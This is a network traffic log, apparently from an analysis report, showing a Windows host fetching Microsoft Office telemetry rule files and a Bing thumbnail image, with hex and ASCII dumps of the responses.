2024-11-27 10:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101444Z-174f7845968ljs8phC1EWRe6en0000000wqg000000002aky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:44 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:45 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101445Z-174f7845968n2hr8hC1EWR9cag0000000wh0000000000pt9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:45 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49881	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:44 UTC	375	OUT	GET /th?id=OADD2.10239360432411_13QPWJ00JGY7I4CI1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:45 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 490098 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F885864AFE7B4E0B9DA35F3A359640AA Ref B: EWR30EDGE1111 Ref C: 2024-11-27T10:14:45Z Date: Wed, 27 Nov 2024 10:14:44 GMT Connection: close
2024-11-27 10:14:45 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 31 3a 34 39 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 21:49:028C
2024-11-27 10:14:45 UTC	16384	IN	Data Raw: 6f b9 0f d9 63 dd f9 d5 8f f8 5e 7e 3f 69 21 5b 7b bb 56 db fd fb 55 6d ff 00 53 4a 58 ae 5f 8a 0d 7d c3 59 7b 6a f1 a8 9f de 7d 39 b2 85 8b 77 dd 8e bc 5f c2 ff 00 11 fc 6b a8 5a fd a2 ea 78 16 35 fb 8e 96 aa bb db b8 ff 00 6a aa eb de 27 be b8 44 93 52 d5 ae a5 9b 66 ef b3 f9 ec ac eb ff 00 01 e2 bc da 99 f5 18 cb 96 31 6d fc 8f 4a 97 0e e2 26 b9 a5 34 97 cc f7 4f 29 ff 00 b9 25 0b 03 1f e0 af 9b 34 df 14 eb 57 9b e4 d3 f5 6d 56 25 de d0 23 c3 3f dc 6f e8 2a fd bc b7 d2 cd 34 3a 86 b5 3d c5 c3 7f a9 74 79 1b 7f e4 69 4f 3c 84 37 86 be a5 53 e1 da 93 da a6 9e 9f f0 4f a0 9a 2d bf 7a 8f 2e be 74 d3 7c 47 ad 68 3a 94 36 fa 0e bb 7c b6 6a ea ce 8e fb a2 dd e8 c8 d9 e3 d6 bb 06 f8 93 e2 84 d4 a6 56 92 c5 9a 24 5d f6 c9 07 ca 9f 37 5c fb d6 cb 3b a1 65 cc 9a Data Ascii: oc^~?i![{VUmSJX_}Y{j}9w_kZx5j'DRf1mJ&4O)%4WmV%#?o*4:=tyiO<7SO-z.t\|Gh:6\|jV$]7\;e
2024-11-27 10:14:45 UTC	16384	IN	Data Raw: 8f 7e e7 9b 67 95 f5 c5 76 de 18 d0 f4 d7 d1 e5 fb 1c f1 c5 1c 48 cb 0e cf 99 53 e5 fb ed fd f6 af 25 d5 23 6f 31 24 f2 24 96 16 dc c9 bd fe 5f c6 bb ff 00 85 ba 35 f5 de 8b 7b 2d ee b9 b6 de 34 f2 fc ab 77 55 6d a7 92 ab e9 ee 6b cf 95 38 38 73 37 73 4a 92 7e cd bb d8 f2 ff 00 87 b2 db 7f c2 5b a8 e8 da 4b c9 75 27 da fc 8b 8b bf ba a8 bb be 69 5f 1c ee af 69 f1 87 8a ee 74 5d 2e c5 f4 8d 1e 7b c4 b9 b8 8e ca d3 c9 4f f9 68 cb f7 b6 ff 00 0a 8a a3 67 69 63 a1 e8 ed a7 f8 6b 43 b2 d3 ad ee a1 dc 89 0a 7e f3 9f e3 6e ec 7e b5 3f 88 35 28 ed 7c 27 0e 9c c6 4f 33 47 b7 66 59 5f 6e e7 90 ae 59 9b 15 55 ab c2 b5 6e 65 f8 f5 ff 00 2d ba 11 46 94 a4 a3 19 ad bf 0d 3f ce df 79 4b c5 ba fd d6 81 e1 1d 4f 5a 6b 77 ba be 58 57 7f cf f2 bc 9e ed fe cf e9 5e 67 f1 16 Data Ascii: ~gvHS%#o1$$_5{-4wUmk88s7sJ~[Ku'i_it].{OhgickC~n~?5(\|'O3GfY_nYUne-F?yKOZkwXW^g
2024-11-27 10:14:45 UTC	16384	IN	Data Raw: 4a 8b b7 f0 3d eb 2f 53 b5 d6 f4 fd 63 e4 bb ba 89 a3 db bf 7f cd 15 79 3c b1 9b e4 e6 b2 3d be 64 95 96 fe 45 d1 72 ac fb 75 18 23 92 d6 5f dd 79 49 fe b5 ff 00 c0 55 9b b1 a0 8d 2d a3 69 2e b4 e9 23 7d df 67 df bb 7f fd f3 58 f1 dc 69 f3 df 6d 6b b8 ef 2e 37 fe fa 58 6d 76 f9 35 b0 96 36 17 5a 4c af 1d ec 3f 69 dd f3 ac a8 db 9d 7f d9 aa 95 37 0d 81 4a 2e d2 6d a6 5d d0 24 5b 59 96 f2 d5 2d 64 b7 f2 99 a5 f3 77 2f cd fe e3 74 ae 87 4f b6 bf bd d3 9a de 43 63 6b 1f cb 26 e5 4d df 2d 65 e9 f7 76 76 36 2d 6a da 6c 72 47 74 8a b2 ba bf fd f3 c5 45 ab 6a 1a ed ec 6f 0e 9d 63 37 d9 ff 00 d5 ff 00 75 7f 16 a1 38 be b7 39 aa 46 73 93 7b 79 b3 52 eb c3 86 fe ed 24 87 58 f3 2e 21 f9 b6 fd e5 fb df 7b 6f 4a c7 f1 5e 8d ac e9 fa c4 57 9b d1 95 93 e4 b8 df f7 3f de Data Ascii: J=/Scy<=dEru#_yIU-i.#}gXimk.7Xmv56ZL?i7J.m]$[Y-dw/tOCck&M-evv6-jlrGtEjoc7u89Fs{yR$X.!{oJ^W?
2024-11-27 10:14:45 UTC	16384	IN	Data Raw: ad 4e 08 ca 51 69 a6 6d 47 ab d9 c1 63 0c 30 da 79 b2 6c 6f 39 e6 fe 36 35 52 1d 42 74 b1 48 63 f3 17 6b ee de 9f 7b f3 aa 2a 9b b6 ff 00 0f fb 94 8d 71 3d bd d2 6d fb b5 cd 0c 1d 35 7d 2f 7e fa 9d 53 c5 55 a9 66 de dd 91 6f 4b b7 64 ba f9 a4 93 e6 fb ee 9f 7a ba eb 1f 15 ea 1a 75 8d dd ad ac fb 56 f3 6f 9d e7 26 e6 76 0b b7 ef 7f 08 ae 75 64 49 23 fd df fe 3f 55 a4 dc b5 75 30 d4 eb 69 35 72 a8 e3 6a d1 f8 25 66 7b 97 84 fc 7b a6 6a da 1c d6 f7 d7 f1 e9 37 96 f0 aa c3 37 d3 8f 97 fd aa d1 f0 dd d5 8b ec 9b cb ff 00 47 b5 95 65 fb 74 cf b9 66 6f bb f2 e7 fd aa f9 fe 19 1b cc ff 00 59 f3 57 5d e0 31 73 aa 6b 10 db cd 77 ba 38 b6 b3 db bb ed 59 94 7f 08 3f c3 eb 5e 06 37 26 a5 46 12 9c 65 64 7d 0e 07 3a 9d 79 c6 15 23 76 7b 2d e5 b6 a1 f3 c7 67 7f 24 52 4e Data Ascii: NQimGc0ylo965RBtHck{*q=m5}/~SUfoKdzuVo&vudI#?Uu0i5rj%f{{j77GetfoYW]1skw8Y?^7&Fed}:y#v{-g$RN
2024-11-27 10:14:45 UTC	16384	IN	Data Raw: 43 f0 2b c2 b0 23 ff 00 68 78 da 75 f2 be fa 45 b7 e4 a5 93 e0 d7 84 6e 24 9a 68 7c 6f 3f fb 6e f0 7f f5 ab d7 75 ef 1b f8 33 4e 93 cb 9b 52 b5 95 97 f8 2c 5d 65 fc ca 7f 8d 60 78 cb e2 26 9f 65 f2 e9 7a 96 9a b1 f9 3f 22 4d 6b 25 d3 23 7f c0 3f f4 16 ad 15 6c 2b e9 1f ba 3f e4 67 ec 71 ba 5e 53 fb e6 79 d4 9f 08 3c 19 17 ef 1b c6 13 b2 af f1 f9 7b 76 7e 95 5f fe 15 5f 81 5b 6b 43 e2 f7 95 5f ee 7e fd 7e 76 ac 8f 1a 78 9f c4 7e 25 91 db 54 ff 00 4a b1 8a 6f dc a7 91 e4 41 fe f2 c6 3b fd 6b 9b b1 d2 3c db af 33 f7 76 b6 bb 37 4d f2 7f e8 39 eb 5e 75 4c 7a 55 2d 0a 51 b7 9a 5f e4 7a d4 b2 ba 92 a6 a5 52 bc ef e5 29 7e ac ee 3f e1 58 f8 3a cb c9 9a 6d 76 eb 74 bf ea 7f 7f f2 bf fb b5 7b 54 f0 d5 8a 69 b7 12 2d de a5 78 ab f7 2d 37 b3 33 b7 ad 79 dc 29 3a c9 Data Ascii: C+#hxuEn$h\|o?nu3NR,]e`x&ez?"Mk%#?l+?gq^Sy<{v~__[kC_~~vx~%TJoA;k<3v7M9^uLzU-Q_zR)~?X:mvt{Ti-x-73y):
2024-11-27 10:14:45 UTC	16384	IN	Data Raw: fb ad 5d 11 71 96 a7 3c e4 e3 a3 d8 56 3b 23 49 1a 09 3c bf ef a5 5d b7 4b 69 e0 f3 37 ce cb 12 7c 90 bf f4 a9 34 f8 2f 9b 7c 9e 5c eb 1a 7d f7 74 da bf 8a ff 00 85 2d d5 ac 51 46 93 4d e5 c5 fc 49 f3 fc af ed 9e 94 dd ef a3 27 9e 1a 5c 2d cc 50 40 ea b1 c8 aa d5 4e 18 f6 ea 3b a3 ff 00 57 b1 bf e0 15 67 4f 4b 6d 4a 09 bc b9 e3 8b ec ff 00 7d 37 ee 5e 7d 29 8b 15 b5 c5 f7 93 26 f5 fb db 1f 7a fc ff 00 d6 a7 97 da c6 c5 29 aa 13 bb 33 75 07 8a 5b a6 66 9f 73 37 cb b1 13 f8 6a 85 c5 fc 8b 62 ed 0c 72 7f b0 ef 5a ba a4 fa 7d bc 89 6f 0c 9b 5b e6 fe 0d db fd 4f b9 ac 78 e0 6d 4a 4f 39 6f fe 55 f9 76 7f f1 4b 5a 46 9d b4 22 55 f5 e6 32 af 25 be 48 e6 68 7e 6d af f3 ff 00 7b f3 ef 4d 87 c4 d1 45 6e 96 73 69 b2 44 ad f7 ee 21 dd b9 3f de 5f eb 5b 1a 86 93 7c df Data Ascii: ]q<V;#I<]Ki7\|4/\|\}t-QFMI'\-P@N;WgOKmJ}7^})&z)3u[fs7jbrZ}o[OxmJO9oUvKZF"U2%Hh~m{MEnsiD!?_[\|
2024-11-27 10:14:45 UTC	16065	IN	Data Raw: f5 8e 81 f0 f7 52 8d 24 86 4d 2a e1 bf 81 36 79 5f 2f d1 ab 17 c5 9f 0f 2e 57 7b 69 f1 c7 f6 75 fb 9b 3e ed 7a 92 cb ef 1f 76 57 67 8e b3 44 a5 ef 41 c4 e3 f5 a8 e0 5b 14 b8 92 4f de 7c bb 3f bc f9 5c 9c d5 5d 26 ee ce 59 26 b3 ba 82 4f 2e e1 19 7c e8 7f d6 a3 7f 07 5e 3e f7 5a d2 d6 b4 3d 5d a3 f2 64 8f f7 6b fd ff 00 96 b1 6e 2c e7 81 11 6d de 48 a4 6f fc 7d ab 8f 92 ad 2b 46 7a 7d cc ef 53 a3 5a ee 0e eb e6 6e 68 3a cf 8a ad e7 b7 85 7c 43 a9 2f d9 fe 54 86 19 db f4 cf 15 b3 e1 bf 89 7e 26 f0 f6 a4 8b 1d fd d5 c5 bc af fb eb 7b b9 d9 95 ff 00 dc 7e ab 5c 7e 8f fd a6 f7 49 25 bf 99 71 27 f7 13 ef 55 cf 11 58 6a 7e 64 33 5c 41 25 ad bb 3f c9 33 fc cb bb ba ae 3b d3 8a a8 ef 75 ee ae be 62 a9 ec ae b5 f7 9f 47 d8 fa 37 c2 3e 20 ff 00 84 97 4e fb 66 9f 27 Data Ascii: R$M*6y_/.W{iu>zvWgDA[O\|?\]&Y&O.\|^>Z=]dkn,mHo}+Fz}SZnh:\|C/T~&{~\~I%q'UXj~d3\A%?3;ubG7> Nf'
2024-11-27 10:14:45 UTC	16384	IN	Data Raw: b5 ff 00 84 93 c1 92 ea 9b ae 3c 3d 1e d9 7f e7 8b fd ca d2 b1 f1 1f 81 6d dd 16 1d 36 75 6f bd f3 c0 b5 c3 b2 e9 e9 bf cc 8e 35 f9 17 7e cf 96 ac ad 94 13 a2 35 be ad e5 47 bf 73 a3 ed dd b7 f1 ab a3 98 d5 72 6a 12 8d fd 12 fc 74 33 af 95 d0 e5 bc d4 ad ea df f9 9e 99 63 e2 1f 04 cf 07 fc 78 7e ed be fb a6 dd df f7 cd 6e 58 eb 1e 04 b7 85 1b 4f b0 8e e9 5b f8 f6 34 5d 3f da f5 fc 2b c8 da da 07 f9 9b cb 95 7f 83 ec fb 55 9f eb 9a b1 a6 ca b0 4c 91 c7 e7 db f9 4f b9 de 69 d5 77 ff 00 df 3d 6b d9 a7 8b a9 24 b9 ed fd 7d ff 00 99 e2 cf 2d a1 17 fb bb df fa d3 fa 47 b1 5a f8 f3 e1 95 9c 8e b6 af 3a b4 5b 7c e4 fb aa f9 eb b7 83 54 f5 0f 1a 78 41 a3 f3 2d 7c 51 aa aa ca fb 9e 27 b1 56 f2 57 ea 9f 78 57 98 ea 1a a6 82 63 b7 fb 56 8b 63 2f d9 df 76 ff 00 2f fd Data Ascii: <=m6uo5~5Gsrjt3cx~nXO[4]?+ULOiw=k$}-GZ:[\|TxA-\|Q'VWxWcVc/v/
2024-11-27 10:14:45 UTC	16384	IN	Data Raw: 6d 65 b7 f2 e6 83 7a b7 f0 3f f1 fd 6b 35 b4 fb 3d 06 4f 31 64 8e dd 5b fb ef b7 e6 fa 57 cf 9e 26 f8 9d f1 33 4d b5 4d 1f 4f f1 25 c7 fa 62 2b 7d ae 6f 2d a7 46 ef f3 b7 dd 15 95 63 79 e2 5b 8d 29 ff 00 e1 22 9e 4b a9 9b fd 4b da 3c cc af fe db ee ae 0a 99 c4 7d 82 ab 4b 5f 26 ec 7a b4 f2 4a 9e db 92 a3 b7 a2 6c fa 42 e3 c7 16 36 11 a7 9d 24 f2 ee 7f bf 0e d6 d8 bf ed 73 5c 8f c4 ef 1e 69 ba ce 8f f6 5d 36 09 d5 bc d5 6d ee fb 7a 7a 7b 9a f0 cf 15 5a 4f e4 5b c7 a8 6b 56 b6 11 f9 df 3e f9 f7 4f ec aa 8b 9f 9b 6f e5 50 68 37 16 6c f3 6a 56 b3 ea b3 c7 60 9b 6d d3 fd 54 5b 77 7d f2 5f 3f 2f fb 66 bc 79 e6 b8 8c 4c 1c 1a 49 33 d7 a7 94 e1 f0 f3 53 4d dd 1d b7 da 65 ba 8e 69 b5 09 20 5b 59 77 6f 74 fe 36 3f ef 56 15 d5 ee 9d 6b fb b6 9e 46 b1 8b 74 49 0b be Data Ascii: mez?k5=O1d[W&3MMO%b+}o-Fcy[)"KK<}K_&zJlB6$s\i]6mzz{ZO[kV>OoPh7ljV`mT[w}_?/fyLI3SMei [Ywot6?VkFtI

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:45 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:45 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 49dfce9c-f01e-00aa-0974-408521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101445Z-174f7845968psccphC1EWRuz9s0000000x1g000000004ruq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:45 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:45 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:45 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101445Z-174f7845968ljs8phC1EWRe6en0000000wkg000000007aft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:45 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:45 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:45 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101445Z-174f7845968xr5c2hC1EWRd0hn0000000dq0000000002z14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:46 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 592f830c-001e-005a-4566-40c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101446Z-174f7845968swgbqhC1EWRmnb40000000wu000000000arf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
